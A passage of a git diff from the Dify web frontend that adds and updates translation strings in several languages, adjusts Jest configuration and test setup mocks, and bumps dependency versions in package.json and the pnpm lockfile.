       inputVars: 'Variabile de intrare',
+      pluginNotInstalled: 'Pluginul nu este instalat',
     },
     start: {
       required: 'necesar',
diff --git a/web/i18n/ru-RU/common.ts b/web/i18n/ru-RU/common.ts
index 4252f9adb7..ae8b2e558f 100644
--- a/web/i18n/ru-RU/common.ts
+++ b/web/i18n/ru-RU/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Сохранено',
     create: 'Создано',
     remove: 'Удалено',
+    actionFailed: 'Действие не удалось',
   },
   operation: {
     create: 'Создать',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'Хинди',
       trTR: 'Турецкий',
       faIR: 'Персидский',
+      slSI: 'Словенский',
+      arTN: 'Тунисский арабский',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     uploadFromComputerLimit: 'Файл загрузки не может превышать {{size}}',
     uploadFromComputerUploadError: 'Загрузка файла не удалась, пожалуйста, загрузите еще раз.',
     fileExtensionBlocked: 'Этот тип файла заблокирован по соображениям безопасности',
+    uploadDisabled: 'Загрузка файлов отключена',
   },
   license: {
     expiring: 'Срок действия истекает за один день',
diff --git a/web/i18n/ru-RU/dataset-hit-testing.ts b/web/i18n/ru-RU/dataset-hit-testing.ts
index e61dadd069..9e9b5da9e9 100644
--- a/web/i18n/ru-RU/dataset-hit-testing.ts
+++ b/web/i18n/ru-RU/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Источник',
-      text: 'Текст',
       time: 'Время',
       queryContent: 'Содержимое запроса',
     },
diff --git a/web/i18n/ru-RU/workflow.ts b/web/i18n/ru-RU/workflow.ts
index 66e0c872e3..183c113b20 100644
--- a/web/i18n/ru-RU/workflow.ts
+++ b/web/i18n/ru-RU/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'Используйте переменную',
       },
       inputVars: 'Входные переменные',
+      pluginNotInstalled: 'Плагин не установлен',
     },
     start: {
       required: 'обязательно',
diff --git a/web/i18n/sl-SI/common.ts b/web/i18n/sl-SI/common.ts
index b848e68619..697d06eb8b 100644
--- a/web/i18n/sl-SI/common.ts
+++ b/web/i18n/sl-SI/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Shranjeno',
     create: 'Ustvarjeno',
     remove: 'Odstranjeno',
+    actionFailed: 'Dejanje ni uspelo',
   },
   operation: {
     create: 'Ustvari',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'Hindujščina',
       trTR: 'Turščina',
       faIR: 'Farsi',
+      slSI: 'Slovenščina',
+      arTN: 'Tunizijska arabščina',
     },
   },
   unit: {
@@ -719,6 +722,7 @@ const translation = {
     uploadFromComputerLimit: 'Nalaganje {{type}} ne sme presegati {{size}}',
     uploadFromComputerReadError: 'Branje datoteke ni uspelo, poskusite znova.',
     fileExtensionBlocked: 'Ta vrsta datoteke je zaradi varnostnih razlogov blokirana',
+    uploadDisabled: 'Nalaganje datotek je onemogočeno',
   },
   tag: {
     addTag: 'Dodajanje oznak',
diff --git a/web/i18n/sl-SI/dataset-hit-testing.ts b/web/i18n/sl-SI/dataset-hit-testing.ts
index 9d3db4842a..860099ca2d 100644
--- a/web/i18n/sl-SI/dataset-hit-testing.ts
+++ b/web/i18n/sl-SI/dataset-hit-testing.ts
@@ -6,7 +6,6 @@ const translation = {
   table: {
     header: {
       source: 'Vir',
-      text: 'Besedilo',
       time: 'Čas',
       queryContent: 'Vsebina poizvedbe',
     },
diff --git a/web/i18n/sl-SI/workflow.ts b/web/i18n/sl-SI/workflow.ts
index a1a534635a..d92d92da4a 100644
--- a/web/i18n/sl-SI/workflow.ts
+++ b/web/i18n/sl-SI/workflow.ts
@@ -444,6 +444,7 @@ const translation = {
         input: 'Vhodna vrednost',
       },
       inputVars: 'Vhodne spremenljivke',
+      pluginNotInstalled: 'Vtičnik ni nameščen',
     },
     start: {
       outputVars: {
diff --git a/web/i18n/th-TH/billing.ts b/web/i18n/th-TH/billing.ts
index 8d8273bdce..7c55baba60 100644
--- a/web/i18n/th-TH/billing.ts
+++ b/web/i18n/th-TH/billing.ts
@@ -137,7 +137,7 @@ const translation = {
       name: 'กิจการ',
       description: 'รับความสามารถและการสนับสนุนเต็มรูปแบบสําหรับระบบที่สําคัญต่อภารกิจขนาดใหญ่',
       includesTitle: 'ทุกอย่างในแผนทีม รวมถึง:',
-      features: ['โซลูชันการปรับใช้ที่ปรับขนาดได้สำหรับองค์กร', 'การอนุญาตใบอนุญาตเชิงพาณิชย์', 'ฟีเจอร์เฉพาะสำหรับองค์กร', 'หลายพื้นที่ทำงานและการจัดการองค์กร', 'ประกันสังคม', 'ข้อตกลง SLA ที่เจรจากับพันธมิตร Dify', 'ระบบความปลอดภัยและการควบคุมขั้นสูง', 'การอัปเดตและการบำรุงรักษาโดย Dify อย่างเป็นทางการ', 'การสนับสนุนทางเทคนิคระดับมืออาชีพ'],
+      features: ['โซลูชันการปรับใช้ที่ปรับขนาดได้สำหรับองค์กร', 'การอนุญาตใบอนุญาตเชิงพาณิชย์', 'ฟีเจอร์เฉพาะสำหรับองค์กร', 'หลายพื้นที่ทำงานและการจัดการองค์กร', 'ระบบลงชื่อเพียงครั้งเดียว (SSO)', 'ข้อตกลง SLA ที่เจรจากับพันธมิตร Dify', 'ระบบความปลอดภัยและการควบคุมขั้นสูง', 'การอัปเดตและการบำรุงรักษาโดย Dify อย่างเป็นทางการ', 'การสนับสนุนทางเทคนิคระดับมืออาชีพ'],
       btnText: 'ติดต่อฝ่ายขาย',
       price: 'ที่กำหนดเอง',
       for: 'สำหรับทีมขนาดใหญ่',
diff --git a/web/i18n/th-TH/common.ts b/web/i18n/th-TH/common.ts
index 23dfbe38a7..dc82c71c78 100644
--- a/web/i18n/th-TH/common.ts
+++ b/web/i18n/th-TH/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'บันทึก',
     create: 'สร้าง',
     remove: 'ถูก เอา ออก',
+    actionFailed: 'การดำเนินการล้มเหลว',
   },
   operation: {
     create: 'สร้าง',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'ฮินดี',
       trTR: 'ตุรกี',
       faIR: 'ภาษาเปอร์เซีย',
+      slSI: 'ภาษาสโลเวเนีย',
+      arTN: 'ภาษาอาหรับตูนิเซีย',
     },
   },
   unit: {
@@ -714,6 +717,7 @@ const translation = {
     pasteFileLinkInvalid: 'ลิงก์ไฟล์ไม่ถูกต้อง',
     fileExtensionNotSupport: 'ไม่รองรับนามสกุลไฟล์',
     fileExtensionBlocked: 'ประเภทไฟล์นี้ถูกบล็อกด้วยเหตุผลด้านความปลอดภัย',
+    uploadDisabled: 'การอัปโหลดไฟล์ถูกปิดใช้งาน',
   },
   tag: {
     placeholder: 'แท็กทั้งหมด',
diff --git a/web/i18n/th-TH/dataset-hit-testing.ts b/web/i18n/th-TH/dataset-hit-testing.ts
index 9da51a1d00..05a343219d 100644
--- a/web/i18n/th-TH/dataset-hit-testing.ts
+++ b/web/i18n/th-TH/dataset-hit-testing.ts
@@ -6,7 +6,6 @@ const translation = {
   table: {
     header: {
       source: 'ที่มา',
-      text: 'ข้อความ',
       time: 'เวลา',
       queryContent: 'เนื้อหาคำถาม',
     },
diff --git a/web/i18n/th-TH/workflow.ts b/web/i18n/th-TH/workflow.ts
index 5107e9a79a..d91461f535 100644
--- a/web/i18n/th-TH/workflow.ts
+++ b/web/i18n/th-TH/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'ใช้ตัวแปร',
       },
       inputVars: 'ตัวแปรอินพุต',
+      pluginNotInstalled: 'ปลั๊กอินไม่ได้ติดตั้ง',
     },
     start: {
       required: 'ต้องระบุ',
diff --git a/web/i18n/tr-TR/common.ts b/web/i18n/tr-TR/common.ts
index a9b056893c..5e7f2182c7 100644
--- a/web/i18n/tr-TR/common.ts
+++ b/web/i18n/tr-TR/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Kaydedildi',
     create: 'Oluşturuldu',
     remove: 'Kaldırıldı',
+    actionFailed: 'İşlem başarısız',
   },
   operation: {
     create: 'Oluştur',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'Hintçe',
       trTR: 'Türkçe',
       faIR: 'Farsça',
+      slSI: 'Slovence',
+      arTN: 'Tunus Arapçası',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     pasteFileLinkInvalid: 'Geçersiz dosya bağlantısı',
     fileExtensionNotSupport: 'Dosya uzantısı desteklenmiyor',
     fileExtensionBlocked: 'Bu dosya türü güvenlik nedenleriyle engellenmiştir',
+    uploadDisabled: 'Dosya yükleme devre dışı',
   },
   license: {
     expiring_plural: '{{count}} gün içinde sona eriyor',
diff --git a/web/i18n/tr-TR/dataset-hit-testing.ts b/web/i18n/tr-TR/dataset-hit-testing.ts
index 6fe818e1ac..0ece4f3bcf 100644
--- a/web/i18n/tr-TR/dataset-hit-testing.ts
+++ b/web/i18n/tr-TR/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Kaynak',
-      text: 'Metin',
       time: 'Zaman',
       queryContent: 'Sorgu İçeriği',
     },
diff --git a/web/i18n/tr-TR/workflow.ts b/web/i18n/tr-TR/workflow.ts
index 89a299ed8d..b32b0b31e4 100644
--- a/web/i18n/tr-TR/workflow.ts
+++ b/web/i18n/tr-TR/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         input: 'Girdi değeri',
       },
       inputVars: 'Giriş Değişkenleri',
+      pluginNotInstalled: 'Eklenti yüklü değil',
     },
     start: {
       required: 'gerekli',
diff --git a/web/i18n/uk-UA/billing.ts b/web/i18n/uk-UA/billing.ts
index 76207fcec5..94bf0b0214 100644
--- a/web/i18n/uk-UA/billing.ts
+++ b/web/i18n/uk-UA/billing.ts
@@ -137,7 +137,7 @@ const translation = {
       name: 'Ентерпрайз',
       description: 'Отримайте повні можливості та підтримку для масштабних критично важливих систем.',
       includesTitle: 'Все, що входить до плану Team, плюс:',
-      features: ['Масштабовані рішення для розгортання корпоративного рівня', 'Авторизація комерційної ліцензії', 'Ексклюзивні корпоративні функції', 'Кілька робочих просторів та управління підприємством', 'ЄД', 'Узгоджені SLA партнерами Dify', 'Розширена безпека та контроль', 'Оновлення та обслуговування від Dify офіційно', 'Професійна технічна підтримка'],
+      features: ['Масштабовані рішення для розгортання корпоративного рівня', 'Авторизація комерційної ліцензії', 'Ексклюзивні корпоративні функції', 'Кілька робочих просторів та управління підприємством', 'ЄДИНА СИСТЕМА АВТОРИЗАЦІЇ', 'Узгоджені SLA партнерами Dify', 'Розширена безпека та контроль', 'Оновлення та обслуговування від Dify офіційно', 'Професійна технічна підтримка'],
       btnText: 'Зв\'язатися з відділом продажу',
       priceTip: 'Тільки річна оплата',
       for: 'Для великих команд',
diff --git a/web/i18n/uk-UA/common.ts b/web/i18n/uk-UA/common.ts
index 11d294709e..70b8aaa862 100644
--- a/web/i18n/uk-UA/common.ts
+++ b/web/i18n/uk-UA/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Збережено',
     create: 'Створено',
     remove: 'Видалено',
+    actionFailed: 'Не вдалося виконати дію',
   },
   operation: {
     create: 'Створити',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: 'Хінді',
       trTR: 'Турецька',
       faIR: 'Перська',
+      slSI: 'Словенська',
+      arTN: 'Туніська арабська',
     },
   },
   unit: {
@@ -735,6 +738,7 @@ const translation = {
     uploadFromComputerReadError: 'Не вдалося прочитати файл, будь ласка, спробуйте ще раз.',
     uploadFromComputerUploadError: 'Не вдалося завантажити файл, будь ласка, завантажте ще раз.',
     fileExtensionBlocked: 'Цей тип файлу заблоковано з міркувань безпеки',
+    uploadDisabled: 'Завантаження файлів вимкнено',
   },
   license: {
     expiring: 'Термін дії закінчується за один день',
diff --git a/web/i18n/uk-UA/dataset-hit-testing.ts b/web/i18n/uk-UA/dataset-hit-testing.ts
index 569c5cb972..a4955a65a7 100644
--- a/web/i18n/uk-UA/dataset-hit-testing.ts
+++ b/web/i18n/uk-UA/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Джерело',
-      text: 'Текст',
       time: 'Час',
       queryContent: 'Вміст запиту',
     },
diff --git a/web/i18n/uk-UA/workflow.ts b/web/i18n/uk-UA/workflow.ts
index 4515e2676a..fe8f5e448f 100644
--- a/web/i18n/uk-UA/workflow.ts
+++ b/web/i18n/uk-UA/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'Використовуйте змінну',
       },
       inputVars: 'Вхідні змінні',
+      pluginNotInstalled: 'Плагін не встановлений',
     },
     start: {
       required: 'обов\'язковий',
diff --git a/web/i18n/vi-VN/common.ts b/web/i18n/vi-VN/common.ts
index 131306edc4..666dc7a133 100644
--- a/web/i18n/vi-VN/common.ts
+++ b/web/i18n/vi-VN/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Đã lưu',
     create: 'Tạo',
     remove: 'Xóa',
+    actionFailed: 'Thao tác thất bại',
   },
   operation: {
     create: 'Tạo mới',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: 'Tiếng Hindi',
       trTR: 'Tiếng Thổ Nhĩ Kỳ',
       faIR: 'Tiếng Ba Tư',
+      slSI: 'Tiếng Slovenia',
+      arTN: 'Tiếng Ả Rập Tunisia',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     uploadFromComputerUploadError: 'Tải lên tệp không thành công, vui lòng tải lên lại.',
     uploadFromComputerReadError: 'Đọc tệp không thành công, vui lòng thử lại.',
     fileExtensionBlocked: 'Loại tệp này bị chặn vì lý do bảo mật',
+    uploadDisabled: 'Tải tệp bị vô hiệu hóa',
   },
   license: {
     expiring_plural: 'Hết hạn sau {{count}} ngày',
diff --git a/web/i18n/vi-VN/dataset-hit-testing.ts b/web/i18n/vi-VN/dataset-hit-testing.ts
index 5bf79a73a4..1f84b5b5e5 100644
--- a/web/i18n/vi-VN/dataset-hit-testing.ts
+++ b/web/i18n/vi-VN/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Nguồn',
-      text: 'Văn bản',
       time: 'Thời gian',
       queryContent: 'Nội dung truy vấn',
     },
diff --git a/web/i18n/vi-VN/workflow.ts b/web/i18n/vi-VN/workflow.ts
index 63b4291293..b3767ee6e7 100644
--- a/web/i18n/vi-VN/workflow.ts
+++ b/web/i18n/vi-VN/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'Sử dụng biến',
       },
       inputVars: 'Biến đầu vào',
+      pluginNotInstalled: 'Plugin chưa được cài đặt',
     },
     start: {
       required: 'bắt buộc',
diff --git a/web/i18n/zh-Hans/common.ts b/web/i18n/zh-Hans/common.ts
index a9228a5a25..bd0e0e3ba4 100644
--- a/web/i18n/zh-Hans/common.ts
+++ b/web/i18n/zh-Hans/common.ts
@@ -11,6 +11,7 @@ const translation = {
     saved: '已保存',
     create: '已创建',
     remove: '已移除',
+    actionFailed: '操作失败',
   },
   operation: {
     create: '创建',
@@ -113,6 +114,8 @@ const translation = {
       hiIN: '印地语',
       trTR: '土耳其语',
       faIR: '波斯语',
+      slSI: '斯洛文尼亚语',
+      arTN: '突尼斯阿拉伯语',
     },
   },
   unit: {
@@ -737,6 +740,7 @@ const translation = {
     pasteFileLinkInvalid: '文件链接无效',
     fileExtensionNotSupport: '文件类型不支持',
     fileExtensionBlocked: '出于安全考虑，该文件类型已被禁止上传',
+    uploadDisabled: '文件上传已被禁用',
   },
   tag: {
     placeholder: '全部标签',
diff --git a/web/i18n/zh-Hans/workflow.ts b/web/i18n/zh-Hans/workflow.ts
index f9e29ef6b0..fd86292252 100644
--- a/web/i18n/zh-Hans/workflow.ts
+++ b/web/i18n/zh-Hans/workflow.ts
@@ -464,6 +464,7 @@ const translation = {
         variable: '使用变量',
       },
       inputVars: '输入变量',
+      pluginNotInstalled: '插件未安装',
     },
     start: {
       required: '必填',
diff --git a/web/i18n/zh-Hant/common.ts b/web/i18n/zh-Hant/common.ts
index cbcdea4462..8ed1e336ef 100644
--- a/web/i18n/zh-Hant/common.ts
+++ b/web/i18n/zh-Hant/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: '已儲存',
     create: '已建立',
     remove: '已移除',
+    actionFailed: '操作失敗',
   },
   operation: {
     create: '建立',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: '印地語',
       trTR: '土耳其語',
       faIR: '波斯語',
+      slSI: '斯洛維尼亞語',
+      arTN: '突尼西亞阿拉伯語',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     fileExtensionNotSupport: '不支援檔擴展名',
     uploadFromComputerLimit: '上傳文件不能超過 {{size}}',
     fileExtensionBlocked: '出於安全原因，此檔案類型被阻止',
+    uploadDisabled: '檔案上傳已被禁用',
   },
   license: {
     expiring: '將在 1 天內過期',
diff --git a/web/i18n/zh-Hant/dataset-hit-testing.ts b/web/i18n/zh-Hant/dataset-hit-testing.ts
index 016942d7a3..de690ca2ba 100644
--- a/web/i18n/zh-Hant/dataset-hit-testing.ts
+++ b/web/i18n/zh-Hant/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: '資料來源',
-      text: '文字',
       time: '時間',
       queryContent: '查詢內容',
     },
diff --git a/web/i18n/zh-Hant/workflow.ts b/web/i18n/zh-Hant/workflow.ts
index 9297ae1317..3da4cc172a 100644
--- a/web/i18n/zh-Hant/workflow.ts
+++ b/web/i18n/zh-Hant/workflow.ts
@@ -442,6 +442,7 @@ const translation = {
         variable: '使用變數',
       },
       inputVars: '輸入變數',
+      pluginNotInstalled: '插件未安裝',
     },
     start: {
       required: '必填',
diff --git a/web/jest.config.ts b/web/jest.config.ts
index 6c2d88448c..86e86fa2ac 100644
--- a/web/jest.config.ts
+++ b/web/jest.config.ts
@@ -20,7 +20,7 @@ const config: Config = {
   // bail: 0,
 
   // The directory where Jest should store its cached dependency information
-  // cacheDirectory: "/private/var/folders/9c/7gly5yl90qxdjljqsvkk758h0000gn/T/jest_dx",
+  cacheDirectory: '<rootDir>/.cache/jest',
 
   // Automatically clear mock calls, instances, contexts and results before every test
   clearMocks: true,
@@ -44,6 +44,7 @@ const config: Config = {
 
   // A list of reporter names that Jest uses when writing coverage reports
   coverageReporters: [
+    'json-summary',
     'json',
     'text',
     'text-summary',
@@ -100,7 +101,11 @@ const config: Config = {
   // A map from regular expressions to module names or to arrays of module names that allow to stub out resources with a single module
   moduleNameMapper: {
     '^@/(.*)$': '<rootDir>/$1',
+    // Map lodash-es to lodash (CommonJS version)
     '^lodash-es$': 'lodash',
+    '^lodash-es/(.*)$': 'lodash/$1',
+    // Mock ky ESM module to avoid ESM issues in Jest
+    '^ky$': '<rootDir>/__mocks__/ky.ts',
   },
 
   // An array of regexp pattern strings, matched against all module paths before considered 'visible' to the module loader
diff --git a/web/jest.setup.ts b/web/jest.setup.ts
index 006b28322e..a4d358d805 100644
--- a/web/jest.setup.ts
+++ b/web/jest.setup.ts
@@ -1,9 +1,31 @@
 import '@testing-library/jest-dom'
 import { cleanup } from '@testing-library/react'
+import { mockAnimationsApi } from 'jsdom-testing-mocks'
+
+// Mock Web Animations API for Headless UI
+mockAnimationsApi()
+
+// Suppress act() warnings from @headlessui/react internal Transition component
+// These warnings are caused by Headless UI's internal async state updates, not our code
+const originalConsoleError = console.error
+console.error = (...args: unknown[]) => {
+  // Check all arguments for the Headless UI TransitionRootFn act warning
+  const fullMessage = args.map(arg => (typeof arg === 'string' ? arg : '')).join(' ')
+  if (fullMessage.includes('TransitionRootFn') && fullMessage.includes('not wrapped in act'))
+    return
+  originalConsoleError.apply(console, args)
+}
 
 // Fix for @headlessui/react compatibility with happy-dom
 // headlessui tries to override focus properties which may be read-only in happy-dom
 if (typeof window !== 'undefined') {
+  // Provide a minimal animations API polyfill before @headlessui/react boots
+  if (typeof Element !== 'undefined' && !Element.prototype.getAnimations)
+    Element.prototype.getAnimations = () => []
+
+  if (!document.getAnimations)
+    document.getAnimations = () => []
+
   const ensureWritable = (target: object, prop: string) => {
     const descriptor = Object.getOwnPropertyDescriptor(target, prop)
     if (descriptor && !descriptor.writable) {
@@ -20,6 +42,22 @@ if (typeof window !== 'undefined') {
   ensureWritable(HTMLElement.prototype, 'focus')
 }
 
+if (typeof globalThis.ResizeObserver === 'undefined') {
+  globalThis.ResizeObserver = class {
+    observe() {
+      return undefined
+    }
+
+    unobserve() {
+      return undefined
+    }
+
+    disconnect() {
+      return undefined
+    }
+  }
+}
+
 afterEach(() => {
   cleanup()
 })
diff --git a/web/package.json b/web/package.json
index f118dff25b..56c533a930 100644
--- a/web/package.json
+++ b/web/package.json
@@ -1,8 +1,8 @@
 {
   "name": "dify-web",
-  "version": "1.11.0",
+  "version": "1.11.1",
   "private": true,
-  "packageManager": "pnpm@10.25.0+sha512.5e82639027af37cf832061bcc6d639c219634488e0f2baebe785028a793de7b525ffcd3f7ff574f5e9860654e098fe852ba8ac5dd5cefe1767d23a020a92f501",
+  "packageManager": "pnpm@10.26.1+sha512.664074abc367d2c9324fdc18037097ce0a8f126034160f709928e9e9f95d98714347044e5c3164d65bd5da6c59c6be362b107546292a8eecb7999196e5ce58fa",
   "engines": {
     "node": ">=v22.11.0"
   },
@@ -54,7 +54,7 @@
     "@formatjs/intl-localematcher": "^0.5.10",
     "@headlessui/react": "2.2.1",
     "@heroicons/react": "^2.2.0",
-    "@hookform/resolvers": "^3.10.0",
+    "@hookform/resolvers": "^5.2.2",
     "@lexical/code": "^0.38.2",
     "@lexical/link": "^0.38.2",
     "@lexical/list": "^0.38.2",
@@ -75,7 +75,7 @@
     "abcjs": "^6.5.2",
     "ahooks": "^3.9.5",
     "class-variance-authority": "^0.7.1",
-    "classnames": "^2.5.1",
+    "clsx": "^2.1.1",
     "cmdk": "^1.1.1",
     "copy-to-clipboard": "^3.3.3",
     "cron-parser": "^5.4.0",
@@ -106,15 +106,15 @@
     "mime": "^4.1.0",
     "mitt": "^3.0.1",
     "negotiator": "^1.0.0",
-    "next": "~15.5.7",
+    "next": "~15.5.9",
     "next-pwa": "^5.6.0",
     "next-themes": "^0.4.6",
     "pinyin-pro": "^3.27.0",
     "qrcode.react": "^4.2.0",
     "qs": "^6.14.0",
-    "react": "19.2.1",
+    "react": "19.2.3",
     "react-18-input-autosize": "^3.0.0",
-    "react-dom": "19.2.1",
+    "react-dom": "19.2.3",
     "react-easy-crop": "^5.5.3",
     "react-hook-form": "^7.65.0",
     "react-hotkeys-hook": "^4.6.2",
@@ -155,9 +155,9 @@
     "@happy-dom/jest-environment": "^20.0.8",
     "@mdx-js/loader": "^3.1.1",
     "@mdx-js/react": "^3.1.1",
-    "@next/bundle-analyzer": "15.5.7",
-    "@next/eslint-plugin-next": "15.5.7",
-    "@next/mdx": "15.5.7",
+    "@next/bundle-analyzer": "15.5.9",
+    "@next/eslint-plugin-next": "15.5.9",
+    "@next/mdx": "15.5.9",
     "@rgrove/parse-xml": "^4.2.0",
     "@storybook/addon-docs": "9.1.13",
     "@storybook/addon-links": "9.1.13",
@@ -200,7 +200,9 @@
     "eslint-plugin-tailwindcss": "^3.18.2",
     "globals": "^15.15.0",
     "husky": "^9.1.7",
+    "istanbul-lib-coverage": "^3.2.2",
     "jest": "^29.7.0",
+    "jsdom-testing-mocks": "^1.16.0",
     "knip": "^5.66.1",
     "lint-staged": "^15.5.2",
     "lodash": "^4.17.21",
@@ -210,7 +212,7 @@
     "postcss": "^8.5.6",
     "react-scan": "^0.4.3",
     "sass": "^1.93.2",
-    "storybook": "9.1.13",
+    "storybook": "9.1.17",
     "tailwindcss": "^3.4.18",
     "ts-node": "^10.9.2",
     "typescript": "^5.9.3",
diff --git a/web/pnpm-lock.yaml b/web/pnpm-lock.yaml
index 0cf7524573..5b4af4e836 100644
--- a/web/pnpm-lock.yaml
+++ b/web/pnpm-lock.yaml
@@ -69,19 +69,19 @@ importers:
         version: 1.2.1
       '@floating-ui/react':
         specifier: ^0.26.28
-        version: 0.26.28(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 0.26.28(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@formatjs/intl-localematcher':
         specifier: ^0.5.10
         version: 0.5.10
       '@headlessui/react':
         specifier: 2.2.1
-        version: 2.2.1(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 2.2.1(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@heroicons/react':
         specifier: ^2.2.0
-        version: 2.2.0(react@19.2.1)
+        version: 2.2.0(react@19.2.3)
       '@hookform/resolvers':
-        specifier: ^3.10.0
-        version: 3.10.0(react-hook-form@7.68.0(react@19.2.1))
+        specifier: ^5.2.2
+        version: 5.2.2(react-hook-form@7.68.0(react@19.2.3))
       '@lexical/code':
         specifier: ^0.38.2
         version: 0.38.2
@@ -93,7 +93,7 @@ importers:
         version: 0.38.2
       '@lexical/react':
         specifier: ^0.38.2
-        version: 0.38.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(yjs@13.6.27)
+        version: 0.38.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(yjs@13.6.27)
       '@lexical/selection':
         specifier: ^0.38.2
         version: 0.38.2
@@ -105,7 +105,7 @@ importers:
         version: 0.38.2
       '@monaco-editor/react':
         specifier: ^4.7.0
-        version: 4.7.0(monaco-editor@0.55.1)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 4.7.0(monaco-editor@0.55.1)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@octokit/core':
         specifier: ^6.1.6
         version: 6.1.6
@@ -114,10 +114,10 @@ importers:
         version: 6.1.8
       '@remixicon/react':
         specifier: ^4.7.0
-        version: 4.7.0(react@19.2.1)
+        version: 4.7.0(react@19.2.3)
       '@sentry/react':
         specifier: ^8.55.0
-        version: 8.55.0(react@19.2.1)
+        version: 8.55.0(react@19.2.3)
       '@svgdotjs/svg.js':
         specifier: ^3.2.5
         version: 3.2.5
@@ -126,28 +126,28 @@ importers:
         version: 0.5.19(tailwindcss@3.4.18(tsx@4.21.0)(yaml@2.8.2))
       '@tanstack/react-form':
         specifier: ^1.23.7
-        version: 1.27.1(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 1.27.1(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@tanstack/react-query':
         specifier: ^5.90.5
-        version: 5.90.12(react@19.2.1)
+        version: 5.90.12(react@19.2.3)
       '@tanstack/react-query-devtools':
         specifier: ^5.90.2
-        version: 5.91.1(@tanstack/react-query@5.90.12(react@19.2.1))(react@19.2.1)
+        version: 5.91.1(@tanstack/react-query@5.90.12(react@19.2.3))(react@19.2.3)
       abcjs:
         specifier: ^6.5.2
         version: 6.5.2
       ahooks:
         specifier: ^3.9.5
-        version: 3.9.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 3.9.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       class-variance-authority:
         specifier: ^0.7.1
         version: 0.7.1
-      classnames:
-        specifier: ^2.5.1
-        version: 2.5.1
+      clsx:
+        specifier: ^2.1.1
+        version: 2.1.1
       cmdk:
         specifier: ^1.1.1
-        version: 1.1.1(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 1.1.1(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       copy-to-clipboard:
         specifier: ^3.3.3
         version: 3.3.3
@@ -168,7 +168,7 @@ importers:
         version: 5.6.0
       echarts-for-react:
         specifier: ^3.0.5
-        version: 3.0.5(echarts@5.6.0)(react@19.2.1)
+        version: 3.0.5(echarts@5.6.0)(react@19.2.3)
       elkjs:
         specifier: ^0.9.3
         version: 0.9.3
@@ -236,74 +236,74 @@ importers:
         specifier: ^1.0.0
         version: 1.0.0
       next:
-        specifier: ~15.5.7
-        version: 15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0)
+        specifier: ~15.5.9
+        version: 15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0)
       next-pwa:
         specifier: ^5.6.0
-        version: 5.6.0(@babel/core@7.28.5)(@types/babel__core@7.20.5)(esbuild@0.25.0)(next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0))(uglify-js@3.19.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
+        version: 5.6.0(@babel/core@7.28.5)(@types/babel__core@7.20.5)(esbuild@0.25.0)(next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0))(uglify-js@3.19.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       next-themes:
         specifier: ^0.4.6
-        version: 0.4.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 0.4.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       pinyin-pro:
         specifier: ^3.27.0
         version: 3.27.0
       qrcode.react:
         specifier: ^4.2.0
-        version: 4.2.0(react@19.2.1)
+        version: 4.2.0(react@19.2.3)
       qs:
         specifier: ^6.14.0
         version: 6.14.0
       react:
-        specifier: 19.2.1
-        version: 19.2.1
+        specifier: 19.2.3
+        version: 19.2.3
       react-18-input-autosize:
         specifier: ^3.0.0
